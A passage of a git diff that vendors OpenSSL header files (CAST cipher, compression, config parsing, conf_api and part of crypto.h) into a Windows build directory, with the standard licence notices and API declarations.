102 +#define BUF_F_BUF_STRNDUP 104 + +/* Reason codes. */ + +#ifdef __cplusplus +} +#endif +#endif diff --git a/winstuff/openssl/cast.h b/winstuff/openssl/cast.h new file mode 100644 index 0000000..1faf580 --- /dev/null +++ b/winstuff/openssl/cast.h @@ -0,0 +1,107 @@ +/* crypto/cast/cast.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +#ifndef HEADER_CAST_H +#define HEADER_CAST_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include + +#ifdef OPENSSL_NO_CAST +#error CAST is disabled. +#endif + +#define CAST_ENCRYPT 1 +#define CAST_DECRYPT 0 + +#define CAST_LONG unsigned long + +#define CAST_BLOCK 8 +#define CAST_KEY_LENGTH 16 + +typedef struct cast_key_st + { + CAST_LONG data[32]; + int short_key; /* Use reduced rounds for short key */ + } CAST_KEY; + +#ifdef OPENSSL_FIPS +void private_CAST_set_key(CAST_KEY *key, int len, const unsigned char *data); +#endif +void CAST_set_key(CAST_KEY *key, int len, const unsigned char *data); +void CAST_ecb_encrypt(const unsigned char *in,unsigned char *out,CAST_KEY *key, + int enc); +void CAST_encrypt(CAST_LONG *data,CAST_KEY *key); +void CAST_decrypt(CAST_LONG *data,CAST_KEY *key); +void CAST_cbc_encrypt(const unsigned char *in, unsigned char *out, long length, + CAST_KEY *ks, unsigned char *iv, int enc); +void CAST_cfb64_encrypt(const unsigned char *in, unsigned char *out, + long length, CAST_KEY *schedule, unsigned char *ivec, + int *num, int enc); +void CAST_ofb64_encrypt(const unsigned char *in, unsigned char *out, + long length, CAST_KEY *schedule, unsigned char *ivec, + int *num); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/winstuff/openssl/comp.h b/winstuff/openssl/comp.h new file mode 100644 index 0000000..4b405c7 --- /dev/null +++ b/winstuff/openssl/comp.h @@ -0,0 +1,80 @@ + +#ifndef HEADER_COMP_H +#define HEADER_COMP_H + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct comp_ctx_st COMP_CTX; + +typedef struct comp_method_st + { + int type; /* NID for compression library */ + const char *name; /* A text string to identify the library */ + int (*init)(COMP_CTX *ctx); + void (*finish)(COMP_CTX *ctx); + int (*compress)(COMP_CTX *ctx, + unsigned char *out, unsigned int olen, + unsigned char *in, unsigned int ilen); + int (*expand)(COMP_CTX *ctx, + unsigned char *out, unsigned int olen, + unsigned char *in, unsigned int ilen); + /* The following two do NOTHING, but are kept for backward compatibility */ + long (*ctrl)(void); + long (*callback_ctrl)(void); + } COMP_METHOD; + +struct comp_ctx_st + { + COMP_METHOD *meth; + unsigned long compress_in; + unsigned long compress_out; + unsigned long expand_in; + unsigned long expand_out; + + CRYPTO_EX_DATA ex_data; + }; + + +COMP_CTX *COMP_CTX_new(COMP_METHOD *meth); +void COMP_CTX_free(COMP_CTX *ctx); +int COMP_compress_block(COMP_CTX *ctx, unsigned char *out, int olen, + unsigned char *in, int ilen); +int COMP_expand_block(COMP_CTX *ctx, unsigned char *out, int olen, + unsigned char *in, int ilen); +COMP_METHOD *COMP_rle(void ); +COMP_METHOD *COMP_zlib(void ); +void COMP_zlib_cleanup(void); + +#ifdef HEADER_BIO_H +#ifdef ZLIB +BIO_METHOD *BIO_f_zlib(void); +#endif +#endif + +/* BEGIN ERROR CODES */ +/* The following lines are auto generated by the script mkerr.pl. Any changes + * made after this point may be overwritten when the script is next run. + */ +void ERR_load_COMP_strings(void); + +/* Error codes for the COMP functions. */ + +/* Function codes. */ +#define COMP_F_BIO_ZLIB_FLUSH 99 +#define COMP_F_BIO_ZLIB_NEW 100 +#define COMP_F_BIO_ZLIB_READ 101 +#define COMP_F_BIO_ZLIB_WRITE 102 + +/* Reason codes. */ +#define COMP_R_ZLIB_DEFLATE_ERROR 99 +#define COMP_R_ZLIB_INFLATE_ERROR 100 +#define COMP_R_ZLIB_NOT_SUPPORTED 101 + +#ifdef __cplusplus +} +#endif +#endif diff --git a/winstuff/openssl/conf.h b/winstuff/openssl/conf.h new file mode 100644 index 0000000..8aa06bc --- /dev/null +++ b/winstuff/openssl/conf.h @@ -0,0 +1,254 @@ +/* crypto/conf/conf.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +#ifndef HEADER_CONF_H +#define HEADER_CONF_H + +#include +#include +#include +#include +#include + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct + { + char *section; + char *name; + char *value; + } CONF_VALUE; + +DECLARE_STACK_OF(CONF_VALUE) +DECLARE_STACK_OF(CONF_MODULE) +DECLARE_STACK_OF(CONF_IMODULE) + +struct conf_st; +struct conf_method_st; +typedef struct conf_method_st CONF_METHOD; + +struct conf_method_st + { + const char *name; + CONF *(*create)(CONF_METHOD *meth); + int (*init)(CONF *conf); + int (*destroy)(CONF *conf); + int (*destroy_data)(CONF *conf); + int (*load_bio)(CONF *conf, BIO *bp, long *eline); + int (*dump)(const CONF *conf, BIO *bp); + int (*is_number)(const CONF *conf, char c); + int (*to_int)(const CONF *conf, char c); + int (*load)(CONF *conf, const char *name, long *eline); + }; + +/* Module definitions */ + +typedef struct conf_imodule_st CONF_IMODULE; +typedef struct conf_module_st CONF_MODULE; + +/* DSO module function typedefs */ +typedef int conf_init_func(CONF_IMODULE *md, const CONF *cnf); +typedef void conf_finish_func(CONF_IMODULE *md); + +#define CONF_MFLAGS_IGNORE_ERRORS 0x1 +#define CONF_MFLAGS_IGNORE_RETURN_CODES 0x2 +#define CONF_MFLAGS_SILENT 0x4 +#define CONF_MFLAGS_NO_DSO 0x8 +#define CONF_MFLAGS_IGNORE_MISSING_FILE 0x10 +#define CONF_MFLAGS_DEFAULT_SECTION 0x20 + +int CONF_set_default_method(CONF_METHOD *meth); +void CONF_set_nconf(CONF *conf,LHASH *hash); +LHASH *CONF_load(LHASH *conf,const char *file,long *eline); +#ifndef OPENSSL_NO_FP_API +LHASH *CONF_load_fp(LHASH *conf, FILE *fp,long *eline); +#endif +LHASH *CONF_load_bio(LHASH *conf, BIO *bp,long *eline); +STACK_OF(CONF_VALUE) *CONF_get_section(LHASH *conf,const char *section); +char *CONF_get_string(LHASH *conf,const char *group,const char *name); +long CONF_get_number(LHASH *conf,const char *group,const char *name); +void CONF_free(LHASH *conf); +int CONF_dump_fp(LHASH *conf, FILE *out); +int CONF_dump_bio(LHASH *conf, BIO *out); + +void OPENSSL_config(const char *config_name); +void OPENSSL_no_config(void); + +/* New conf code. The semantics are different from the functions above. + If that wasn't the case, the above functions would have been replaced */ + +struct conf_st + { + CONF_METHOD *meth; + void *meth_data; + LHASH *data; + }; + +CONF *NCONF_new(CONF_METHOD *meth); +CONF_METHOD *NCONF_default(void); +CONF_METHOD *NCONF_WIN32(void); +#if 0 /* Just to give you an idea of what I have in mind */ +CONF_METHOD *NCONF_XML(void); +#endif +void NCONF_free(CONF *conf); +void NCONF_free_data(CONF *conf); + +int NCONF_load(CONF *conf,const char *file,long *eline); +#ifndef OPENSSL_NO_FP_API +int NCONF_load_fp(CONF *conf, FILE *fp,long *eline); +#endif +int NCONF_load_bio(CONF *conf, BIO *bp,long *eline); +STACK_OF(CONF_VALUE) *NCONF_get_section(const CONF *conf,const char *section); +char *NCONF_get_string(const CONF *conf,const char *group,const char *name); +int NCONF_get_number_e(const CONF *conf,const char *group,const char *name, + long *result); +int NCONF_dump_fp(const CONF *conf, FILE *out); +int NCONF_dump_bio(const CONF *conf, BIO *out); + +#if 0 /* The following function has no error checking, + and should therefore be avoided */ +long NCONF_get_number(CONF *conf,char *group,char *name); +#else +#define NCONF_get_number(c,g,n,r) NCONF_get_number_e(c,g,n,r) +#endif + +/* Module functions */ + +int CONF_modules_load(const CONF *cnf, const char *appname, + unsigned long flags); +int CONF_modules_load_file(const char *filename, const char *appname, + unsigned long flags); +void CONF_modules_unload(int all); +void CONF_modules_finish(void); +void CONF_modules_free(void); +int CONF_module_add(const char *name, conf_init_func *ifunc, + conf_finish_func *ffunc); + +const char *CONF_imodule_get_name(const CONF_IMODULE *md); +const char *CONF_imodule_get_value(const CONF_IMODULE *md); +void *CONF_imodule_get_usr_data(const CONF_IMODULE *md); +void CONF_imodule_set_usr_data(CONF_IMODULE *md, void *usr_data); +CONF_MODULE *CONF_imodule_get_module(const CONF_IMODULE *md); +unsigned long CONF_imodule_get_flags(const CONF_IMODULE *md); +void CONF_imodule_set_flags(CONF_IMODULE *md, unsigned long flags); +void *CONF_module_get_usr_data(CONF_MODULE *pmod); +void CONF_module_set_usr_data(CONF_MODULE *pmod, void *usr_data); + +char *CONF_get1_default_config_file(void); + +int CONF_parse_list(const char *list, int sep, int nospc, + int (*list_cb)(const char *elem, int len, void *usr), void *arg); + +void OPENSSL_load_builtin_modules(void); + +/* BEGIN ERROR CODES */ +/* The following lines are auto generated by the script mkerr.pl. Any changes + * made after this point may be overwritten when the script is next run. + */ +void ERR_load_CONF_strings(void); + +/* Error codes for the CONF functions. */ + +/* Function codes. */ +#define CONF_F_CONF_DUMP_FP 104 +#define CONF_F_CONF_LOAD 100 +#define CONF_F_CONF_LOAD_BIO 102 +#define CONF_F_CONF_LOAD_FP 103 +#define CONF_F_CONF_MODULES_LOAD 116 +#define CONF_F_DEF_LOAD 120 +#define CONF_F_DEF_LOAD_BIO 121 +#define CONF_F_MODULE_INIT 115 +#define CONF_F_MODULE_LOAD_DSO 117 +#define CONF_F_MODULE_RUN 118 +#define CONF_F_NCONF_DUMP_BIO 105 +#define CONF_F_NCONF_DUMP_FP 106 +#define CONF_F_NCONF_GET_NUMBER 107 +#define CONF_F_NCONF_GET_NUMBER_E 112 +#define CONF_F_NCONF_GET_SECTION 108 +#define CONF_F_NCONF_GET_STRING 109 +#define CONF_F_NCONF_LOAD 113 +#define CONF_F_NCONF_LOAD_BIO 110 +#define CONF_F_NCONF_LOAD_FP 114 +#define CONF_F_NCONF_NEW 111 +#define CONF_F_STR_COPY 101 + +/* Reason codes. */ +#define CONF_R_ERROR_LOADING_DSO 110 +#define CONF_R_MISSING_CLOSE_SQUARE_BRACKET 100 +#define CONF_R_MISSING_EQUAL_SIGN 101 +#define CONF_R_MISSING_FINISH_FUNCTION 111 +#define CONF_R_MISSING_INIT_FUNCTION 112 +#define CONF_R_MODULE_INITIALIZATION_ERROR 109 +#define CONF_R_NO_CLOSE_BRACE 102 +#define CONF_R_NO_CONF 105 +#define CONF_R_NO_CONF_OR_ENVIRONMENT_VARIABLE 106 +#define CONF_R_NO_SECTION 107 +#define CONF_R_NO_SUCH_FILE 114 +#define CONF_R_NO_VALUE 108 +#define CONF_R_UNABLE_TO_CREATE_NEW_SECTION 103 +#define CONF_R_UNKNOWN_MODULE_NAME 113 +#define CONF_R_VARIABLE_HAS_NO_VALUE 104 + +#ifdef __cplusplus +} +#endif +#endif diff --git a/winstuff/openssl/conf_api.h b/winstuff/openssl/conf_api.h new file mode 100644 index 0000000..87a954a --- /dev/null +++ b/winstuff/openssl/conf_api.h @@ -0,0 +1,89 @@ +/* conf_api.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +#ifndef HEADER_CONF_API_H +#define HEADER_CONF_API_H + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* Up until OpenSSL 0.9.5a, this was new_section */ +CONF_VALUE *_CONF_new_section(CONF *conf, const char *section); +/* Up until OpenSSL 0.9.5a, this was get_section */ +CONF_VALUE *_CONF_get_section(const CONF *conf, const char *section); +/* Up until OpenSSL 0.9.5a, this was CONF_get_section */ +STACK_OF(CONF_VALUE) *_CONF_get_section_values(const CONF *conf, + const char *section); + +int _CONF_add_string(CONF *conf, CONF_VALUE *section, CONF_VALUE *value); +char *_CONF_get_string(const CONF *conf, const char *section, + const char *name); +long _CONF_get_number(const CONF *conf, const char *section, const char *name); + +int _CONF_new_data(CONF *conf); +void _CONF_free_data(CONF *conf); + +#ifdef __cplusplus +} +#endif +#endif + diff --git a/winstuff/openssl/crypto.h b/winstuff/openssl/crypto.h new file mode 100644 index 0000000..0e4fb07 --- /dev/null +++ b/winstuff/openssl/crypto.h @@ -0,0 +1,619 @@ +/* crypto/crypto.h */ +/* ==================================================================== + * Copyright (c) 1998-2003 The OpenSSL Project. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * + * 3. All advertising materials mentioning features or use of this + * software must display the following acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit. (http://www.openssl.org/)" + * + * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to + * endorse or promote products derived from this software without + * prior written permission. For written permission, please contact + * openssl-core@openssl.org. + * + * 5. Products derived from this software may not be called "OpenSSL" + * nor may "OpenSSL" appear in their names without prior written + * permission of the OpenSSL Project. + * + * 6. Redistributions of any form whatsoever must retain the following + * acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit (http://www.openssl.org/)" + * + * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY + * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR + * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED + * OF THE POSSIBILITY OF SUCH DAMAGE. + * ==================================================================== + * + * This product includes cryptographic software written by Eric Young + * (eay@cryptsoft.com). This product includes software written by Tim + * Hudson (tjh@cryptsoft.com). + * + */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ +/* ==================================================================== + * Copyright 2002 Sun Microsystems, Inc. ALL RIGHTS RESERVED. + * ECDH support in OpenSSL originally developed by + * SUN MICROSYSTEMS, INC., and contributed to the OpenSSL project. + */ + +#ifndef HEADER_CRYPTO_H +#define HEADER_CRYPTO_H + +#include + +#include + +#ifndef OPENSSL_NO_FP_API +#include +#endif + +#include +#include +#include +#include + +#ifdef CHARSET_EBCDIC +#include +#endif + +/* Resolve problems on some operating systems with symbol names that clash + one way or another */ +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* Backward compatibility to SSLeay */ +/* This is more to be used to check the correct DLL is being used + * in the MS world. */ +#define SSLEAY_VERSION_NUMBER OPENSSL_VERSION_NUMBER +#define SSLEAY_VERSION 0 +/* #define SSLEAY_OPTIONS 1 no longer supported */ +#define SSLEAY_CFLAGS 2 +#define SSLEAY_BUILT_ON 3 +#define SSLEAY_PLATFORM 4 +#define SSLEAY_DIR 5 + +/* Already declared in ossl_typ.h */ +#if 0 +typedef struct crypto_ex_data_st CRYPTO_EX_DATA; +/* Called when a new object is created */ +typedef int CRYPTO_EX_new(void *parent, void *ptr, CRYPTO_EX_DATA *ad, + int idx, long argl, void *argp); +/* Called when an object is free()ed */ +typedef void CRYPTO_EX_free(void *parent, void *ptr, CRYPTO_EX_DATA *ad, + int idx, long argl, void *argp); +/* Called when we need to dup an object */ +typedef int CRYPTO_EX_dup(CRYPTO_EX_DATA *to, CRYPTO_EX_DATA *from, void *from_d, + int idx, long argl, void *argp); +#endif + +/* A generic structure to pass assorted data in a expandable way */ +typedef struct openssl_item_st + { + int code; + void *value; /* Not used for flag attributes */ + size_t value_size; /* Max size of value for output, length for input */ + size_t *value_length; /* Returned length of value for output */ + } OPENSSL_ITEM; + + +/* When changing the CRYPTO_LOCK_* list, be sure to maintin the text lock + * names in cryptlib.c + */ + +#define CRYPTO_LOCK_ERR 1 +#define CRYPTO_LOCK_EX_DATA 2 +#define CRYPTO_LOCK_X509 3 +#define CRYPTO_LOCK_X509_INFO 4 +#define CRYPTO_LOCK_X509_PKEY 5 +#define CRYPTO_LOCK_X509_CRL 6 +#define CRYPTO_LOCK_X509_REQ 7 +#define CRYPTO_LOCK_DSA 8 +#define CRYPTO_LOCK_RSA 9 +#define CRYPTO_LOCK_EVP_PKEY 10 +#define CRYPTO_LOCK_X509_STORE 11 +#define CRYPTO_LOCK_SSL_CTX 12 +#define CRYPTO_LOCK_SSL_CERT 13 +#define CRYPTO_LOCK_SSL_SESSION 14 +#define CRYPTO_LOCK_SSL_SESS_CERT 15 +#define CRYPTO_LOCK_SSL 16 +#define CRYPTO_LOCK_SSL_METHOD 17 +#define CRYPTO_LOCK_RAND 18 +#define CRYPTO_LOCK_RAND2 19 +#define CRYPTO_LOCK_MALLOC 20 +#define CRYPTO_LOCK_BIO 21 +#define CRYPTO_LOCK_GETHOSTBYNAME 22 +#define CRYPTO_LOCK_GETSERVBYNAME 23 +#define CRYPTO_LOCK_READDIR 24 +#define CRYPTO_LOCK_RSA_BLINDING 25 +#define CRYPTO_LOCK_DH 26 +#define CRYPTO_LOCK_MALLOC2 27 +#define CRYPTO_LOCK_DSO 28 +#define CRYPTO_LOCK_DYNLOCK 29 +#define CRYPTO_LOCK_ENGINE 30 +#define CRYPTO_LOCK_UI 31 +#define CRYPTO_LOCK_ECDSA 32 +#define CRYPTO_LOCK_EC 33 +#define CRYPTO_LOCK_ECDH 34 +#define CRYPTO_LOCK_BN 35 +#define CRYPTO_LOCK_EC_PRE_COMP 36 +#define CRYPTO_LOCK_STORE 37 +#define CRYPTO_LOCK_COMP 38 +#ifndef OPENSSL_FIPS +#define CRYPTO_NUM_LOCKS 39 +#else +#define CRYPTO_LOCK_FIPS 39 +#define CRYPTO_LOCK_FIPS2 40 +#define CRYPTO_NUM_LOCKS 41 +#endif + +#define CRYPTO_LOCK 1 +#define CRYPTO_UNLOCK 2 +#define CRYPTO_READ 4 +#define CRYPTO_WRITE 8 + +#ifndef OPENSSL_NO_LOCKING +#ifndef CRYPTO_w_lock +#define CRYPTO_w_lock(type) \ + CRYPTO_lock(CRYPTO_LOCK|CRYPTO_WRITE,type,__FILE__,__LINE__) +#define CRYPTO_w_unlock(type) \ + CRYPTO_lock(CRYPTO_UNLOCK|CRYPTO_WRITE,type,__FILE__,__LINE__) +#define CRYPTO_r_lock(type) \ + CRYPTO_lock(CRYPTO_LOCK|CRYPTO_READ,type,__FILE__,__LINE__) +#define CRYPTO_r_unlock(type) \ + CRYPTO_lock(CRYPTO_UNLOCK|CRYPTO_READ,type,__FILE__,__LINE__) +#define CRYPTO_add(addr,amount,type) \ + CRYPTO_add_lock(addr,amount,type,__FILE__,__LINE__) +#endif +#else +#define CRYPTO_w_lock(a) +#define CRYPTO_w_unlock(a) +#define CRYPTO_r_lock(a) +#define CRYPTO_r_unlock(a) +#define CRYPTO_add(a,b,c) ((*(a))+=(b)) +#endif + +/* Some applications as well as some parts of OpenSSL need to allocate + and deallocate locks in a dynamic fashion. The following typedef + makes this possible in a type-safe manner. */ +/* struct CRYPTO_dynlock_value has to be defined by the application. */ +typedef struct + { + int references; + struct CRYPTO_dynlock_value *data; + } CRYPTO_dynlock; + + +/* The following can be used to detect memory leaks in the SSLeay library. + * It used, it turns on malloc checking */ + +#define 